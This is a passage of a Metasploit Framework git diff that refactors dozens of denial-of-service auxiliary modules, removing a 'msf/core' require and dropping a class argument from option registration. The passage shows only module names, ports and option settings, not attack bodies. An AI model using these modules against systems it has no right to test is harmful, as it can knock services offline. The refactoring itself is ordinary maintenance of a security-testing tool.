source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' require 'stringio' diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb index bc61b28bfb..46b9ebe3b6 100644 --- a/modules/auxiliary/dos/http/hashcollision_dos.rb +++ b/modules/auxiliary/dos/http/hashcollision_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Auxiliary OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]), OptString.new('URL', [ true, "The request URI", '/' ]), OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ]) - ], self.class) + ]) register_advanced_options( [ @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]), OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]), OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8]) - ], self.class) + ]) end def generate_payload diff --git a/modules/auxiliary/dos/http/monkey_headers.rb b/modules/auxiliary/dos/http/monkey_headers.rb index 7915eec2f4..91423f9d3a 100644 --- a/modules/auxiliary/dos/http/monkey_headers.rb +++ b/modules/auxiliary/dos/http/monkey_headers.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(2001) - ], self.class) + ]) end def dos diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index fa089a17be..679c6f8f44 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Watch out, dos all the things @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index b07ff1741c..6c010c1923 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb index a0cfd4437b..ed0ed057ff 100644 --- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/http/rails_action_view.rb b/modules/auxiliary/dos/http/rails_action_view.rb index 92cccd67d7..05bff8612f 100644 --- a/modules/auxiliary/dos/http/rails_action_view.rb +++ b/modules/auxiliary/dos/http/rails_action_view.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/rails_json_float_dos.rb b/modules/auxiliary/dos/http/rails_json_float_dos.rb index 2dc123ecea..1f713ea3c9 100644 --- a/modules/auxiliary/dos/http/rails_json_float_dos.rb +++ b/modules/auxiliary/dos/http/rails_json_float_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']), OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST']) - ], self.class) + ]) end def uri diff --git a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb index 0db48a5fcb..9309545882 100644 --- a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb +++ b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index 38dc4e8948..7816b7fda5 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb index 70e9ec24cc..cd3bf8114a 100644 --- a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Dos @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]), OptString.new('USERNAME', [true, 'The username to send the requests with', '']), OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true]) - ], self.class) + ]) end def rlimit diff --git a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb index 3bced8e4a6..b7ece2d120 100644 --- a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress @@ -38,13 +36,13 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ]) - ], self.class) + ]) register_advanced_options( [ OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]), OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8]) - ], self.class) + ]) end def rlimit diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb index 2de44aae5d..93398f7ece 100644 --- a/modules/auxiliary/dos/mdns/avahi_portzero.rb +++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/dos/misc/dopewars.rb b/modules/auxiliary/dos/misc/dopewars.rb index 2c83a27686..6d95df21c3 100644 --- a/modules/auxiliary/dos/misc/dopewars.rb +++ b/modules/auxiliary/dos/misc/dopewars.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary ], 'DisclosureDate' => "Oct 05 2009" )) - register_options([Opt::RPORT(7902)], self.class) + register_options([Opt::RPORT(7902)]) end def run diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index faf1cceed4..786637d03b 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary '@' ]), OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/misc/ibm_tsm_dos.rb b/modules/auxiliary/dos/misc/ibm_tsm_dos.rb index 72784a7589..849a899220 100644 --- a/modules/auxiliary/dos/misc/ibm_tsm_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_tsm_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(11460) - ], self.class) + ]) end def tv_pkt(opcode, p1="", p2="", p3="") diff --git a/modules/auxiliary/dos/misc/memcached.rb b/modules/auxiliary/dos/misc/memcached.rb index 30a34e6db2..c124b3a345 100644 --- a/modules/auxiliary/dos/misc/memcached.rb +++ b/modules/auxiliary/dos/misc/memcached.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE )) - register_options([Opt::RPORT(11211),], self.class) + register_options([Opt::RPORT(11211),]) end def is_alive? diff --git a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb index cabca95f30..c92d03ce29 100644 --- a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb +++ b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -36,9 +34,8 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptAddress.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ]) - ], self.class) - + OptAddressLocal.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ]) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb index 9d96f4b83c..f0dc019dec 100644 --- a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb +++ b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1723), - ],self.class) + ]) end def run diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb index 82987c5a44..124a7a3eb5 100644 --- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb index f7154392e6..5bafff09bb 100644 --- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index 29c49031b9..7057a5ee02 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/struct2' require 'rex/proto/smb' @@ -56,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SMBShare', [true, 'Target share', '']), OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]), OptInt.new('Tries', [true, 'Number of DOS tries', 40]), - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb index d7572016e0..0fd487dfda 100644 --- a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb +++ b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb @@ -20,8 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('DIRNAME', [true, 'Directory Path which contains the file to delete', '/tmp']), OptString.new('FILENAME', [true, 'Filename to delete', 'msf.txt']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/dos/scada/beckhoff_twincat.rb b/modules/auxiliary/dos/scada/beckhoff_twincat.rb index dab3f2bda3..ff04bee4d2 100644 --- a/modules/auxiliary/dos/scada/beckhoff_twincat.rb +++ b/modules/auxiliary/dos/scada/beckhoff_twincat.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb index 6317644378..2770b4d07e 100644 --- a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb +++ b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb @@ -13,7 +13,6 @@ ## -require 'msf/core' require 'rex/ui/text/shell' require 'rex/proto/tftp' @@ -46,10 +45,10 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptAddress.new('LHOST', [false, "The local IP address to bind to"]), + OptAddressLocal.new('LHOST', [false, "The local IP address to bind to"]), OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]), Opt::RPORT(69) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/scada/igss9_dataserver.rb b/modules/auxiliary/dos/scada/igss9_dataserver.rb index debb192254..32e2097851 100644 --- a/modules/auxiliary/dos/scada/igss9_dataserver.rb +++ b/modules/auxiliary/dos/scada/igss9_dataserver.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb index 4badcfb019..6f1cb2e49f 100644 --- a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb +++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(52302), OptInt.new('RLIMIT', [true, "Number of packets to send", 10]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index e6b422ee8c..e54e3dd6e9 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp diff --git a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb index ec9d7a1492..b4082fe7b3 100644 --- a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb +++ b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(515), OptString.new('RPATH', [ true, "The remote file path to delete"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb index e045bd5348..de0887fcf0 100644 --- a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb +++ b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb index c1939e64e4..1a4ce17946 100644 --- a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb +++ b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(4433), OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF]) - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 70ac830a9e..fd495da1cb 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -4,8 +4,6 @@ ## # auxilary/dos/ssl/openssl_aesni -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(443), OptInt.new('MAX_TRIES', [true, "Maximum number of tries", 300]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb index 036d5708b4..39db6af7e1 100644 --- a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb +++ b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb index d2b27eecd1..5143857aa9 100644 --- a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb +++ b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/dos/tcp/synflood.rb b/modules/auxiliary/dos/tcp/synflood.rb index 75ed3f7632..ef5bb47a62 100644 --- a/modules/auxiliary/dos/tcp/synflood.rb +++ b/modules/auxiliary/dos/tcp/synflood.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb index fa074f33a7..1b1f1faa1b 100644 --- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb +++ b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(1900), OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ]) - ], self.class) + ]) end def send_probe(udp_sock, probe) diff --git a/modules/auxiliary/dos/windows/appian/appian_bpm.rb b/modules/auxiliary/dos/windows/appian/appian_bpm.rb index f239bce52f..76300fbc43 100644 --- a/modules/auxiliary/dos/windows/appian/appian_bpm.rb +++ b/modules/auxiliary/dos/windows/appian/appian_bpm.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary 'DisclosureDate' => 'Dec 17 2007' )) - register_options([Opt::RPORT(5400),], self.class) + register_options([Opt::RPORT(5400),]) end def run diff --git a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb index 5ad8dc5493..b89a2f7a95 100644 --- a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb +++ b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary )) register_options([ OptPath.new('EOTFILE', [ true, "The EOT template to use to generate the trigger", File.join(Msf::Config.data_directory, "exploits", "pricedown.eot")]), - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb index 570ef3994d..cc6a654362 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb index 78e2cbfc31..533896564d 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb index 7b62702876..dc3cd278c6 100644 --- a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb +++ b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp diff --git a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb index 8cccf0ebb4..449ad08df9 100644 --- a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb +++ b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(21) - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb index 415e837c28..42b66d350a 100644 --- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb +++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb index 59b12e6922..dd2a8e4c9b 100644 --- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb +++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(21) - ],self.class) + ]) end def run diff --git a/modules/auxiliary/dos/windows/ftp/titan626_site.rb b/modules/auxiliary/dos/windows/ftp/titan626_site.rb index 960caad59d..7dd50eb7eb 100644 --- a/modules/auxiliary/dos/windows/ftp/titan626_site.rb +++ b/modules/auxiliary/dos/windows/ftp/titan626_site.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp diff --git a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb index f83dbc13dc..6c0eb08ee0 100644 --- a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb +++ b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp diff --git a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb index fc65243095..20188db7eb 100644 --- a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb index 3e6f11f24c..2c5e77ad7a 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb index e93a079cfc..a1bc083a35 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp diff --git a/modules/auxiliary/dos/windows/games/kaillera.rb b/modules/auxiliary/dos/windows/games/kaillera.rb index 19130361c1..f39774f9e1 100644 --- a/modules/auxiliary/dos/windows/games/kaillera.rb +++ b/modules/auxiliary/dos/windows/games/kaillera.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb index 517ce4a0c8..6d696d94a3 100644 --- a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb +++ b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(80), OptString.new('VHOST', [ false, 'The virtual host name to use in requests']), OptString.new('URI', [ true, 'URI to request', '/page.asp' ]) - ], self.class ) + ]) end diff --git a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb index 2dfb95de64..7aecc1698a 100644 --- 